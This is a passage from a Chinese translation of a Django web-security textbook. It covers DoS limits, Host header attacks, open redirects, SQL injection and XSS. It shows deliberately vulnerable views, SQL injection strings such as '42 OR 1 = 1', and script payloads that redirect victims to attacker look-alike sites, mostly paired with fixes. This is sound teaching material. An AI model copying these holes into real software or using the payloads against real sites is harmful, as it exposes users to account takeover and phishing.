表 13.1 Python XML API 和 defusedxml 替代方案

原生 Python APIdefusedxml API
from xml.dom.minidom import parsefrom defusedxml.minidom import parse
from xml.dom.pulldom import parsefrom defusedxml.pulldom import parse
from xml.sax import parsefrom defusedxml.sax import parse
from xml.etree.ElementTree import parsefrom defusedxml.ElementTree import parse

本章提出的内存炸弹既是注入攻击又是 拒绝服务 (DoS) 攻击。在下一节中,您将学习如何识别和抵御其他几种 DoS 攻击。

13.4 拒绝服务

你可能已经熟悉 DoS 攻击了。这些攻击旨在通过消耗过多的资源来压倒系统。DoS 攻击的目标资源包括内存、存储空间、网络带宽和 CPU。DoS 攻击的目标是通过损害系统的可用性来阻止用户访问服务。DoS 攻击有无数种方式进行。最常见的 DoS 攻击形式是通过向系统发送大量恶意网络流量来实施。

DoS 攻击计划通常比仅仅向系统发送大量网络流量更加复杂。最有效的攻击会操纵流量的特定属性,以增加对目标的压力。许多这些攻击利用了格式错误的网络流量,以利用低级网络协议实现。像 NGINX 这样的 Web 服务器,或者像 AWS 弹性负载均衡这样的负载均衡解决方案,是抵御这些攻击的合适场所。另一方面,像 Django 这样的应用服务器,或者像 Gunicorn 这样的 Web 服务器网关接口,则不适合这项工作。换句话说,这些问题不能用 Python 解决。

在本节中,我专注于更高级的基于 HTTP 的 DoS 攻击。相反,负载均衡器和 Web 服务器是抵御这些攻击的错误场所;应用服务器和 Web 服务器网关接口才是正确的场所。表 13.2 说明了一些 Django 设置,您可以使用这些设置来配置这些属性的限制。

表 13.2 Django 抗 DoS 攻击设置

设置描述
DATA_UPLOAD_MAX_NUMBER_FIELDS配置允许的请求参数最大数量。如果此检查失败,Django 将引发 SuspiciousOperation 异常。此设置默认为 1000,但合法的 HTTP 请求很少有这么多字段。
DATA_UPLOAD_MAX_MEMORY_SIZE限制请求体的最大大小(以字节为单位)。此检查忽略文件上传数据。如果请求体超过此限制,Django 将引发 Suspicious-Operation 异常。
FILE_UPLOAD_MAX_MEMORY_SIZE表示上传到内存中的文件在写入磁盘之前的最大大小(以字节为单位)。此设置旨在限制内存消耗;它不限制上传文件的大小。

警告 上一次你见到有 1000 个字段的表单是什么时候?将 DATA_UPLOAD_MAX_NUMBER_FIELDS 从 1000 减少到 50 或许值得您的时间。

DATA_UPLOAD_MAX_MEMORY_SIZEFILE_UPLOAD_MAX_MEMORY_SIZE 合理地默认为 2,621,440 字节(2.5 MB)。将这些设置分配给 None 将禁用该检查。

表 13.3 说明了一些 Gunicorn 参数,用于抵御其他几种基于 HTTP 的 DoS 攻击。

表 13.3 Gunicorn 抗 DoS 攻击参数

参数描述
limit-request-line表示请求行的大小限制,以字节为单位。请求行包括 HTTP 方法,协议版本和 URL。URL 是明显的限制因素。此设置默认为 4094;最大值为 8190。将其设置为 0 将禁用检查。
limit-request-fields限制请求允许具有的 HTTP 头数。此设置限制的“字段”不是表单字段。默认值合理设置为 100。limit-request-fields 的最大值为 32768。
limit-request-field_size表示 HTTP 头的最大允许大小。下划线不是打字错误。默认值为 8190。将其设置为 0 允许无限大小的头。Web 服务器通常也执行此检查。

本节的主要观点是,HTTP 请求的任何属性都可以被武器化;这包括大小、URL 长度、字段计数、字段大小、文件上传大小、头计数和头大小。在下一节中,您将了解到由单个请求头驱动的攻击。

13.5 主机头攻击

在我们深入讨论Host头攻击之前,我将解释为什么浏览器和 Web 服务器使用Host头。Web 服务器在网站和其用户之间中继 HTTP 流量。Web 服务器经常为多个网站执行此操作。在这种情况下,Web 服务器将每个请求转发到浏览器设置Host头的任何网站。这样可以防止将 alice.com 的流量发送到 bob.com,反之亦然。图 13.3 说明了一个 Web 服务器在两个用户和两个网站之间路由 HTTP 请求的情况。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 13.3 一个 Web 服务器使用主机头来在 Alice 和 Bob 之间路由 Web 流量。

Web 服务器通常配置为将缺少或无效的Host头的请求转发到默认网站。如果此网站盲目信任Host头值,它将变得容易受到Host头攻击的影响。

假设 Mallory 向 alice.com 发送密码重置请求。她伪造了Host头值,将其设置为mallory.com而不是alice.com。她还将电子邮件地址字段设置为bob@bob.com而不是mallory@mallory.com

Alice 的 Web 服务器收到 Mallory 的恶意请求。不幸的是,Alice 的 Web 服务器配置为将包含无效Host头的请求转发到她的应用服务器。应用服务器接收到密码重置请求并向 Bob 发送密码重置电子邮件。就像你在第九章学习发送的密码重置电子邮件一样,发送给 Bob 的电子邮件包含一个密码重置链接。

Alice 的应用程序服务器如何生成 Bob 的密码重置链接?不幸的是,它使用了传入的 Host 头。这意味着 Bob 收到的 URL 是针对 mallory.com 而不是 alice.com 的;此链接还包含密码重置令牌作为查询参数。Bob 打开电子邮件,点击链接,不小心将密码重置令牌发送到 mallory.com。然后,Mallory 使用密码重置令牌重置了 Bob 的密码,并接管了 Bob 的帐户。图 13.4 描绘了这种攻击。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 13.4 Mallory 利用 Host 头攻击接管了 Bob 的帐户。

您的应用程序服务器永远不应从客户端获取其标识。因此,直接访问 Host 头是不安全的,像这样:

bad_practice = request.META['HTTP_HOST']    # ❶

❶ 绕过输入验证

如果需要访问主机名,请始终在请求上使用 get_host 方法。此方法验证并检索 Host 头:

good_practice = request.get_host()    # ❶

❶ 验证 Host 头

get_host 方法如何验证 Host 头?通过根据 ALLOWED_HOSTS 设置对其进行验证。该设置是允许应用程序提供资源的主机和域名列表。默认值为空列表。如果 DEBUG 设置为 True,Django 允许使用 localhost127.0.0.1[::1]Host 头来方便地进行本地开发。表 13.4 展示了如何为生产环境配置 ALLOWED_HOSTS

表 13.4 ALLOWED_HOSTS 配置示例

示例描述匹配不匹配
alice.com完全合格的名称alice.comsub.alice.com
sub.alice.com完全合格的名称sub.alice.comalice.com
.alice.com子域通配符alice.com,sub.alice.com
*通配符alice.com,sub.alice.com,bob.com

警告:不要将 * 添加到 ALLOWED_HOSTS 中。许多程序员出于方便而这样做,他们不知道这实际上是在禁用 Host 头验证。

配置 ALLOWED_HOSTS 的一种方便方法是在应用程序启动时从公钥证书中动态提取主机名。这对于在不同环境中部署具有不同主机名的系统非常有用。清单 13.1 展示了如何使用 cryptography 包执行此操作。此代码打开公钥证书文件,解析它,并将其存储在内存中作为对象。然后,从对象中复制主机名属性到 ALLOWED_HOSTS 设置。

清单 13.1 从公钥证书中提取主机

from cryptography.hazmat.backends import default_backend
from cryptography.x509.oid import NameOID

with open(CERTIFICATE_PATH, 'rb') as f:                            # ❶
    cert = default_backend().load_pem_x509_certificate(f.read())   # ❶
atts = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)    # ❶

ALLOWED_HOSTS = [a.value for a in atts]                            # ❷

❶ 在启动时从证书中提取通用名称

❷ 将常见名称添加到 ALLOWED_HOSTS 中

注意 ALLOWED_HOSTS 与 TLS 无关。像任何其他应用程序服务器一样,Django 在很大程度上不知道 TLS。Django 仅使用 ALLOWED_HOSTS 设置来防止 Host 头攻击。

再次强调,如果可能,攻击者将武器化 HTTP 请求的任何属性。在下一节中,我将介绍攻击者使用的另一种将恶意输入嵌入请求 URL 中的技术。

13.6 开放式重定向攻击

作为开放式重定向攻击主题的介绍,让我们假设 Mallory 想要偷走 Bob 的钱。首先,她冒充 bank.alice.com,使用 bank.mallory.com。Mallory 的网站看起来和感觉就像 Alice 的在线银行网站。接下来,Mallory 准备了一封设计成看起来像来自 bank.alice.com 的电子邮件。这封电子邮件的正文包含一个指向 bank.mallory.com 登录页面的链接。Mallory 把这封电子邮件发送给 Bob。Bob 点击链接,转到 Mallory 的网站,并输入他的登录凭据。然后 Mallory 的网站使用 Bob 的凭据访问他在 bank.alice.com 的账户。Bob 的钱随后被转移到 Mallory 那里。

通过点击链接,Bob 被认为是钓鱼,因为他上了钩。Mallory 已成功执行了一次钓鱼诈骗。这种诈骗有多种形式:

  • 钓鱼 攻击通过电子邮件到达。

  • Smishing 攻击通过短信服务(SMS)到达。

  • Vishing 攻击通过语音邮件到达。

Mallory 的诈骗直接针对 Bob,Alice 几乎无能为力阻止它。然而,如果她不小心,Alice 实际上会让 Mallory 的事情变得更加轻松。假设 Alice 为 bank.alice.com 添加了一个功能。这个功能动态地将用户重定向到站点的另一部分。bank.alice.com 如何知道将用户重定向到哪里?重定向的地址由请求参数的值确定。(在第八章,您通过相同的机制实现了支持相同功能的身份验证工作流程。)

不幸的是,bank.alice.com 在将用户重定向到地址之前并未验证每个地址。这被称为开放式重定向,使得 bank.alice.com 容易受到开放式重定向攻击的影响。开放式重定向使得 Mallory 更容易发动更有效的钓鱼诈骗。Mallory 利用这个机会给 Charlie 发送一封带有指向开放式重定向的链接的电子邮件。这个 URL 在图 13.5 中显示,指向 bank.alice.com 的域名。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 13.5 开放式重定向攻击的 URL 结构

在这种情况下,Charlie 更有可能上钩,因为他收到了一个带有他银行主机的 URL。不幸的是对于 Charlie,他的银行将他重定向到了 Mallory 的网站,在那里他输入了他的凭据和个人信息。图 13.6 描述了这种攻击。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 13.6 Mallory 用开放式重定向攻击钓鱼 Bob。

列表 13.2 描述了一个简单的开放式重定向漏洞。OpenRedirectView 执行一个任务,然后读取查询参数的值。然后用户被盲目地重定向到下一个参数值。

列表 13.2 没有输入验证的开放式重定向

from django.views import View
from django.shortcuts import redirect

class OpenRedirectView(View):
    def get(self, request):
        ...
        next = request.GET.get('next')    # ❶
        return redirect(next)             # ❷

❶ 读取下一个请求参数

❷ 发送重定向响应

相反,在第 13.3 节的ValidatedRedirectView通过输入验证抵抗开放式重定向攻击。这个视图将工作委托给 Django 内置的实用函数url_has_allowed_host_and_scheme。这个函数,以粗体字显示,接受一个 URL 和主机。只有当 URL 的域与主机匹配时,它才返回True

第 13.3 节的抵抗开放式重定向攻击的输入验证

from django.http import HttpResponseBadRequest
from django.utils.http import url_has_allowed_host_and_scheme

class ValidatedRedirectView(View):
    def get(self, request):
        ...
        next = request.GET.get('next')                                     # ❶
        host = request.get_host()                                          # ❷
        if url_has_allowed_host_and_scheme(next, host, require_https=True):# ❸
            return redirect(next)

        return HttpResponseBadRequest()                                    # ❹

❶ 读取下一个请求参数

❷ 安全确定主机

❸ 验证重定向的主机和协议

❹ 防止攻击

ValidatedRedirectView注意到使用get_host方法确定主机名,而不是直接访问Host头。在前一节中,您学会了通过这种方式避免Host头攻击。

在罕见的情况下,您的系统可能实际上需要动态地将用户重定向到多个主机。url_has_allowed_host_and_scheme函数通过接受单个主机名或多个主机名的集合来适应这种用例。

如果require_https关键字参数设置为Trueurl_has_allowed_host_and_scheme函数将拒绝使用 HTTP 的任何 URL。不幸的是,这个关键字参数默认为False,为另一种开放式重定向攻击创造了机会。

假设 Mallory 和 Eve 合作进行攻击。Mallory 通过针对 Charlie 的另一次网络钓鱼诈骗开始这次攻击。Charlie 收到一封包含以下 URL 的电子邮件。请注意,源和目标主机相同;协议以粗体字显示,不同:

https:/./alice.com/open_redirect/?next=http:/./alice.com/resource/

Charlie 点击链接,将他带到 Alice 的站点,通过 HTTPS。不幸的是,Alice 的开放式重定向随后将他发送到站点的另一个部分,通过 HTTP。网络窃听者 Eve 接替 Mallory 继续进行中间人攻击。

警告:require_https的默认值为False。您应该将其设置为True

在下一节中,我将本章结束于可能是最为人熟知的注入攻击。无需介绍。

13.7 SQL 注入

在阅读本书的过程中,您已经实现了支持用户注册、身份验证和密码管理等功能的工作流程。与大多数系统一样,您的项目通过在用户和关系数据库之间来回传递数据来实现这些工作流程。当这样的工作流程未能验证用户输入时,它们就成为SQL 注入的一个向量。

攻击者通过向易受攻击的系统提交恶意 SQL 代码作为输入来进行 SQL 注入。系统试图处理输入,但不慎执行它。这种攻击用于修改现有的 SQL 语句或将任意 SQL 语句注入系统。这使攻击者能够破坏、修改或未经授权地访问数据。

一些安全书籍专门有一整章内容介绍 SQL 注入。本书的少数读者会完整地读完关于这个主题的整个章节,因为像 Python 社区的其他成员一样,你们已经采用了 ORM 框架。ORM 框架不仅为您读写数据;它们还是防止 SQL 注入的一层防线。每个主要的 Python ORM 框架,如 Django ORM 或 SQLAlchemy,都通过自动查询参数化有效地抵抗 SQL 注入。

警告:ORM 框架优于编写原始 SQL。原始 SQL 容易出错,工作量更大,而且难看。

有时,对象关系映射并不是解决问题的正确工具。例如,您的应用程序可能需要执行复杂的 SQL 查询以提高性能。在这些罕见的场景中,当您必须编写原始 SQL 时,Django ORM 支持两个选项:原始 SQL 查询和数据库连接查询。

13.7.1 原始 SQL 查询

每个 Django 模型类都通过名为 objects 的属性引用查询接口。在其他功能中,此接口通过名为 raw 的方法容纳原始 SQL 查询。此方法接受原始 SQL 并返回一组模型实例。以下代码说明了一个可能返回大量行的查询。为了节省资源,仅选择表的两列:

from django.contrib.auth.models import User

sql = 'SELECT id, username FROM auth_user'      # ❶
users_with_username = User.objects.raw(sql)

❶ 为所有行选择两列

假设以下查询旨在控制哪些用户被允许访问敏感信息。按预期,当 first_name 等于 Alice 时,raw 方法返回单个用户模型。不幸的是,Mallory 可以通过操纵 first_name"Alice' OR first_name = 'Mallory" 来提升她的权限:

sql = "SELECT * FROM auth_user WHERE first_name = '%s' " % first_name
users = User.objects.raw(sql)

警告:原始 SQL 和字符串插值是一种可怕的组合。

请注意,在占位符 %s 周围加引号会提供一种虚假的安全感。在占位符周围加引号不会提供任何安全性,因为 Mallory 可以简单地准备包含额外引号的恶意输入。

警告:对占位符加引号不会使原始 SQL 变得安全。

通过调用 raw 方法,您必须负责对查询进行参数化。这样可以通过转义所有特殊字符(如引号)来保护您的查询。以下代码演示了如何通过将参数值列表(以粗体显示)传递给 raw 方法来执行此操作。Django 会遍历这些值,并安全地将它们插入到您的原始 SQL 语句中,转义所有特殊字符。以这种方式准备的 SQL 语句不受 SQL 注入的影响。请注意,占位符周围没有引号:

sql = "SELECT * FROM auth_user WHERE first_name = %s"
users = User.objects.raw(sql, [first_name])

或者,raw 方法接受一个字典而不是一个列表。在这种情况下,raw 方法安全地将 %(dict_key) 替换为字典中 dict_key 映射到的内容。

13.7.2 数据库连接查询

Django 允许你通过数据库连接直接执行任意原始 SQL 查询。如果你的查询不属于单个模型类,或者想要执行UPDATEINSERTDELETE语句,这将非常有用。

连接查询与原始方法查询一样具有很大的风险。例如,假设以下查询旨在删除单个经过身份验证的消息。当msg_id等于42时,此代码会按预期运行。不幸的是,如果 Mallory 能够操纵msg_id42 OR 1 = 1,她将摧毁表中的每条消息:

from django.db import connection

sql = """DELETE FROM messaging_authenticatedmessage    # ❶
         WHERE id = %s """ % msg_id                    # ❶
with connection.cursor() as cursor:                    # ❷
    cursor.execute(sql)                                # ❷

❶ 带有一个占位符的 SQL 语句

❷ 执行 SQL 语句

raw方法查询一样,安全地执行连接查询的唯一方法是使用查询参数化。连接查询的参数化方式与raw方法查询相同。以下示例演示了如何使用params关键字参数安全地删除经过身份验证的消息,关键字参数以粗体显示:

sql = """DELETE FROM messaging_authenticatedmessage
         WHERE id = %s """                 # ❶
with connection.cursor() as cursor:
    cursor.execute(sql, params=[msg_id])   # ❷

❶ 未引用的占位符

❷ 转义特殊字符,执行 SQL 语句

我在本章中涵盖的攻击和对策并不像我在其余章节中涵盖的那么复杂。例如,跨站请求伪造和点击劫持有专门的章节。下一章完全致力于一类攻击,称为跨站脚本。这些攻击比我在本章中介绍的所有攻击更复杂和常见。

摘要

  • 哈希和数据完整性有效地抵抗包注入攻击。

  • 解析 YAML 和解析pickle一样危险。

  • XML 不仅仅是丑陋的;从不受信任的来源解析它可能会导致系统崩溃。

  • 你可以通过你的 Web 服务器和负载均衡器抵抗低级 DoS 攻击。

  • 你可以通过你的 WSGI 或应用服务器抵抗高级 DoS 攻击。

  • 开放重定向攻击会导致网络钓鱼和中间人攻击。

  • 对象关系映射有效地抵抗 SQL 注入。

第十四章:跨站脚本攻击

本章内容包括

  • 使用表单和模型验证输入

  • 使用模板引擎转义特殊字符

  • 使用响应头限制浏览器功能

在前一章中,我向你介绍了几种小型注入攻击。在本章中,我继续介绍一种被称为 跨站脚本XSS)的大家族。XSS 攻击有三种类型:持久型、反射型和基于 DOM 的。这些攻击既常见又强大。

注意:在撰写本文时,XSS 在 OWASP 十大安全威胁中排名第 7 位(owasp.org/www-project-top-ten/)。

XSS 抵御是 深度防御 的一个极好例子;一行防护不够。你将在本章中学习如何通过验证输入、转义输出和管理响应头来抵御 XSS。

14.1 什么是 XSS?

XSS 攻击有多种形式和大小,但它们都有一个共同点:攻击者向另一个用户的浏览器注入恶意代码。恶意代码可以采用多种形式,包括 JavaScript、HTML 和层叠样式表(CSS)。恶意代码可以通过许多途径传送,包括 HTTP 请求的主体、URL 或头部。

XSS 有三个子类别。每个子类别都由用于注入恶意代码的机制定义。

  • 持久型 XSS

  • 反射型 XSS

  • 基于 DOM 的 XSS

在本节中,Mallory 进行了所有三种形式的攻击。Alice、Bob 和 Charlie 都将遭受损失。在后续章节中,我将讨论如何抵御这些攻击。

14.1.1 持久型 XSS

假设 Alice 和 Mallory 是 social.bob.com 的用户,这是一个社交媒体网站。像其他社交媒体网站一样,Bob 的网站允许用户分享内容。不幸的是,这个网站缺乏足够的输入验证;更重要的是,它在不转义的情况下呈现共享内容。Mallory 注意到了这一点,并创建了以下一行脚本,旨在将 Alice 从 social.bob.com 带到冒牌站点 social.mallory.com:

<script>
    document.location = "https:/./social.mallory.com";    # ❶
</script>

❶ 客户端重定向的等效

接下来,Mallory 导航到她的个人资料设置页面。她将她的一个个人资料设置更改为她恶意代码的值。Bob 的网站不验证 Mallory 的输入,而是将其持久化到数据库字段中。

后来,Alice 偶然发现了 Mallory 的个人资料页面,现在包含了 Mallory 的代码。Alice 的浏览器执行了 Mallory 的代码,将 Alice 带到了 social.mallory.com,她被欺骗提交了她的身份验证凭据和其他私人信息给 Mallory。

这种攻击是 持久型 XSS 的一个例子。一个易受攻击的系统通过持久化攻击者的恶意负载来启用这种形式的 XSS。后来,在受害者的浏览器中,通过受害者的错误,负载被注入。图 14.1 描述了这种攻击。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 14.1 Mallory 的持久型 XSS 攻击将 Alice 引导至一个恶意冒牌站点。

设计用于共享用户内容的系统特别容易受到这种 XSS 的影响。此类系统包括社交媒体网站、论坛、博客和协作产品。像 Mallory 这样的攻击者通常比这更加激进。例如,这一次 Mallory 等待 Alice 无意中陷入陷阱。在现实世界中,攻击者通常会通过电子邮件或聊天主动引诱受害者访问注入的内容。

在本节中,Mallory 通过 Bob 的网站攻击了 Alice。在下一节中,Mallory 将通过 Alice 的一个网站攻击 Bob。

14.1.2 反射型 XSS

假设 Bob 是 Alice 新网站 search.alice.com 的用户。与 google.com 一样,该网站通过 URL 查询参数接受 Bob 的搜索词。作为回报,Bob 收到一个包含搜索结果的 HTML 页面。正如你所预料的那样,Bob 的搜索词被结果页面反映出来。

与其他搜索网站不同,search.alice.com 的结果页面会渲染用户的搜索词而不进行转义。Mallory 注意到了这一点,并准备了以下 URL。此 URL 的查询参数携带了恶意 JavaScript,通过 URL 编码进行了混淆。这个脚本旨在将 Bob 从 search.alice.com 带到另一个冒名顶替的网站 search.mallory.com:

https:/./search.alice.com/?terms=%3Cscript%3E                                          # ❶
➥ document.location=%27https://search.mallory.com%27    # ❶%3C/script%3E                                         # ❶

❶ 嵌入 URL 的脚本

Mallory 将这个 URL 发送给 Bob 的短信。他上钩了,点击了链接,无意中将 Mallory 的恶意代码发送给了 search.alice.com。网站立即将 Mallory 的恶意代码反射给了 Bob。Bob 的浏览器在渲染结果页面时执行了恶意脚本。最后,他被带到了 search.mallory.com,Mallory 进一步利用了他。

此攻击是反射型 XSS 的一个例子。攻击者通过诱使受害者向易受攻击的站点发送恶意有效载荷来发起这种形式的 XSS。该站点不会保留有效载荷,而是立即以可执行形式将有效载荷反射给用户。图 14.2 描绘了这种攻击。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 14.2 Bob 将 Mallory 的恶意 JavaScript 从 Alice 的服务器反射出来,无意中将自己带到了 Mallory 的冒名顶替网站。

反射型 XSS 显然不仅限于聊天。攻击者还通过电子邮件或恶意网站引诱受害者。在下一节中,Mallory 用第三种 XSS 类型攻击 Charlie。与反射型 XSS 类似,这种类型的攻击也是从恶意 URL 开始的。

14.1.3 基于 DOM 的 XSS

在 Mallory 黑掉 Bob 后,Alice 决心修复她的网站。她将结果页面更改为使用客户端渲染显示用户的搜索词。以下代码说明了她的新结果页面是如何做到这一点的。请注意,现在浏览器而不是服务器从 URL 中提取搜索词。由于搜索词只是不再反映,所以反射型 XSS 漏洞已经不存在:

<html>
  <head>
    <script>
        const url = new URL(window.location.href);
        const terms = url.searchParams.get('terms');    // ❶
        document.write('You searched for ' + terms);    // ❷

    </script>
  </head>
    ...
</html>

❶ 从查询参数中提取搜索词

❷ 将搜索词写入页面的正文

Mallory 再次访问 search.alice.com 并注意到另一个机会。她给查理发送了一封包含恶意链接的电子邮件。这个链接的 URL 与她用来对鲍勃进行反射 XSS 攻击的链接完全相同。

查理上钩并通过点击链接导航到 search.alice.com。爱丽丝的服务器响应了一个普通的结果页面;响应中不包含任何恶意内容。不幸的是,爱丽丝的 JavaScript 将 Mallory 的恶意代码从 URL 复制到页面的正文中。查理的浏览器然后执行 Mallory 的脚本,将查理发送到 search.mallory.com。

Mallory 的第三次攻击是 基于 DOM 的 XSS 的一个例子。与反射 XSS 类似,攻击者通过欺骗用户向易受攻击的站点发送恶意有效载荷来启动 DOM-based XSS。与反射 XSS 攻击不同,有效载荷不会被反射。相反,注入发生在浏览器中。

在这三次攻击中,Mallory 成功地诱使她的受害者前往一个冒牌站点,并带有一个简单的一行脚本。实际上,这些攻击可能注入复杂的代码来执行各种利用,包括以下内容:

  • 未经授权访问敏感或私人信息

  • 利用受害者的授权权限执行操作

  • 未经授权访问客户端 cookie,包括会话 ID

  • 将受害者发送到受攻击者控制的恶意站点

  • 曲解网站内容,如银行账户余额或健康测试结果

这些攻击的影响范围真的很难总结。XSS 非常危险,因为攻击者控制了系统和受害者。系统无法区分受害者的有意请求和攻击者的恶意请求。受害者无法区分系统内容和攻击者内容。

XSS 抵御是防御深度的完美示例。本章的其余部分将教你如何通过分层方法抵御 XSS。我按照 HTTP 请求生命周期的顺序呈现这些材料:

  • 输入验证

  • 输出转义,是防御最重要的层级

  • 响应头

完成本章时,重要的是要记住每个层级单独都不够。你必须采取多层次的方法。

14.2 输入验证

在本节中,您将学习如何验证表单字段和模型属性。这是人们在提到输入验证时通常想到的内容。你可能已经有了这方面的经验。部分抵御 XSS 只是验证输入的许多原因之一。即使 XSS 不存在,本节的材料仍将为您提供保护,防止数据损坏、系统误用和其他注入攻击。

在第十章中,您创建了一个名为 AuthenticatedMessage 的 Django 模型。我利用了这个机会来演示 Django 的权限方案。在本节中,您将使用相同的模型类来声明和执行输入验证逻辑。您的模型将是 Alice 用于创建新消息的小工作流的中心。此工作流包括以下三个组件在您的 Django 消息应用程序中:

  • 您现有的模型类,AuthenticatedMessage

  • 一个新的视图类,CreateAuthenticatedMessageView

  • 一个新的模板,authenticatedmessage_form.html

在 templates 目录下,创建一个名为 messaging 的子目录。在该子目录下创建一个名为 authenticatedmessage_form.html 的新文件。打开此文件并将第 14.1 列表中的 HTML 添加到其中。form.as_table 变量呈现为一些带标签的表单字段。暂时忽略 csrf_token 标签;我在第十六章中涵盖了这一点。

第 14.1 列表 创建新消息的简单模板

<html>

    <form method='POST'>
        {% csrf_token %}            <!-- ❶ -->
        <table>
            {{ form.as_table }}     <!-- ❷ -->
        </table>
        <input type='submit' value='Submit'>
    </form>

</html>

❶ 必要的,但在第十六章中已涵盖

❷ 动态呈现消息属性表单字段

接下来,打开 models.py 并导入内置的 RegexValidator,如下一个列表中所示。如粗体字所示,创建 RegexValidator 的一个实例,并将其应用于 hash_value 字段。此验证器确保 hash_value 字段必须完全是 64 个十六进制文本字符。

第 14.2 列表 使用 RegexValidator 进行模型字段验证

...
from django.core.validators import RegexValidator
...
class AuthenticatedMessage(Model):
    message = CharField(max_length=100)
    hash_value = CharField(max_length=64,                                # ❶
                           validators=[RegexValidator('[0-9a-f]{64}')])  # ❷

❶ 确保最大长度

❷ 确保最小长度

RegexValidator 这样的内置验证器类旨在在每个字段上强制执行输入验证。但有时您需要跨多个字段执行输入验证。例如,当您的应用程序接收到新消息时,消息是否确实哈希到与其到达时相同的哈希值?通过将 clean 方法添加到您的模型类中,您可以处理这样的情况。

将第 14.3 列表中的 clean 方法添加到 AuthenticatedMessage 中。此方法首先创建一个 HMAC 函数,如粗体字所示。在第三章中,您了解到 HMAC 函数有两个输入:消息和密钥。在这个例子中,消息是您模型的一个属性,而密钥是内联口令。(显然,生产密钥不应存储在 Python 中。)

HMAC 函数用于计算哈希值。最后,clean 方法将此哈希值与 hash_value 模型属性进行比较。如果哈希值不匹配,则引发 ValidationError。这样可以防止没有口令的人成功提交消息。

第 14.3 列表 跨越多个模型字段的输入验证

...
import hashlib
import hmac

from django.utils.encoding import force_bytes
from django.utils.translation import gettext_lazy as _
from django.core.exceptions import ValidationError
...
...
class AuthenticatedMessage(Model):
...
    def clean(self):                                               # ❶
 hmac_function = hmac.new(                                  # ❷
 b'frown canteen mounted carve',                        # ❷
 msg=force_bytes(self.message),                         # ❷
 digestmod=hashlib.sha256)                              # ❷
        hash_value = hmac_function.hexdigest()                     # ❷

        if not hmac.compare_digest(hash_value, self.hash_value):   # ❸
            raise ValidationError(_('Message not authenticated'),     
                                  code='msg_not_auth')

❶ 执行跨多个字段的输入验证

❷ 对消息属性进行哈希处理

❸ 在恒定时间内比较哈希值

接下来,将列表 14.4 中的视图添加到您的 Django 应用程序中。CreateAuthenticatedMessageView继承了一个名为CreateView的内置实用类,以粗体字显示。 CreateView使您免于从传入的 HTTP 表单字段复制数据到模型字段。model属性告诉CreateView要创建哪个模型。fields属性告诉CreateView请求中期望哪些字段。success_url指定在成功提交表单后将用户重定向到的位置。

列表 14.4 渲染新消息表单页面

from django.views.generic.edit import CreateView
from messaging.models import AuthenticatedMessage

class CreateAuthenticatedMessageView(CreateView):   # ❶
    model = AuthenticatedMessage                    # ❷
    fields = ['message', 'hash_value']              # ❸
    success_url = '/'                               # ❹

❶ 继承输入验证和持久性

❷ 指定要创建的模型

❸ 指定要期望的 HTTP 字段

❹ 指定要将用户重定向到的位置

通过继承,CreateAuthenticatedMessageView作为模板和模型之间的粘合剂。这个四行类执行以下操作:

  1. 渲染页面

  2. 处理表单提交

  3. 将数据从传入的 HTTP 字段复制到新的模型对象

  4. 练习模型验证逻辑

  5. 将模型保存到数据库

如果表单成功提交,则将用户重定向到站点根目录。如果请求被拒绝,则使用输入验证错误消息重新呈现表单。

警告:当您在模型对象上调用saveupdate时,Django 不会验证模型字段。直接调用这些方法时,您有责任触发验证。通过在模型对象上调用full_clean方法来执行此操作。

重启你的服务器,以 Alice 的身份登录,并将浏览器指向新视图的 URL。花几分钟多次使用无效输入提交表单。请注意,Django 会自动使用信息性输入验证错误消息重新呈现表单。最后,使用以下代码为您选择的消息生成一个有效的密钥哈希值。将此消息和哈希值输入表单并提交:

>>> import hashlib
>>> import hmac
>>> 
>>> hmac.new(
...     b'frown canteen mounted carve',
...     b'from Alice to Bob',                           # ❶
...     digestmod=hashlib.sha256).hexdigest()
'E52c83ad9c9cb1ca170ff60e02e302003cd1b3ae3459e35d3...'  # ❷

❶ 成为消息表单字段的值

❷ 成为 hash_value 表单字段的值

这一节中的工作流程相当简单。作为现实世界中的程序员,你可能会遇到比这更复杂的问题。例如,表单提交可能不需要在数据库中创建新行,或者可能需要在多个数据库中的多个表中创建多个行。下一节将解释如何使用自定义 Django 表单类适应这种情况。

14.2.1 Django 表单验证

在本节中,我将为您概述如何使用表单类定义和进行输入验证;这不是另一个工作流程。将表单类添加到您的应用程序中可以创建输入验证机会的层次。由于表单验证在许多方面类似于模型验证,因此这些材料对您来说很容易吸收。

列表 14.5 是您的视图如何利用自定义表单的典型示例。EmailAuthenticatedMessageView定义了两个方法。get方法创建并呈现一个空白的AuthenticatedMessageFormpost方法通过将请求参数转换为表单对象来处理表单提交。然后通过调用表单的(继承的)is_valid方法触发输入验证,以粗体字显示。如果表单有效,则入站消息将通过电子邮件发送给 Alice;如果表单无效,则将表单呈现回用户,让他们有机会再试一次。

列表 14.5 使用自定义表单验证输入

from django.core.mail import send_mail
from django.shortcuts import render, redirect
from django.views import View

from messaging.forms import AuthenticatedMessageForm

class EmailAuthenticatedMessageView(View):
    template = 'messaging/authenticatedmessage_form.html'

    def get(self, request):                              # ❶
        ctx = {'form': AuthenticatedMessageForm(), }     # ❶
        return render(request, self.template, ctx)       # ❶

    def post(self, request):
        form = AuthenticatedMessageForm(request.POST)    # ❷

        if form.is_valid():                              # ❸
            message = form.cleaned_data['message']
            subject = form.cleaned_data['hash_value']
            send_mail(subject, message, 'bob@bob.com', ['alice@alice.com'])
            return redirect('/')

        ctx = {'form': form, }                           # ❹
        return render(request, self.template, ctx)       # ❹

❶ 通过空白表单征求用户输入

❷ 将用户输入转换为表单

❸ 触发输入验证逻辑

❹ 重新呈现无效的表单提交

自定义表单如何定义输入验证逻辑?接下来的几个列表示例说明了一些定义具有字段验证的表单类的方法。

在列表 14.6 中,AuthenticatedMessageForm由两个CharField组成。message Charfield通过关键字参数强制执行两个长度约束,以粗体字显示。hash_value Charfield通过validators关键字参数强制执行正则表达式约束,同样以粗体显示。

列表 14.6 字段级输入验证

from django.core.validators import RegexValidator
from django.forms import Form, CharField

class AuthenticatedMessageForm(Form):
    message = CharField(min_length=1, max_length=100)                        # ❶
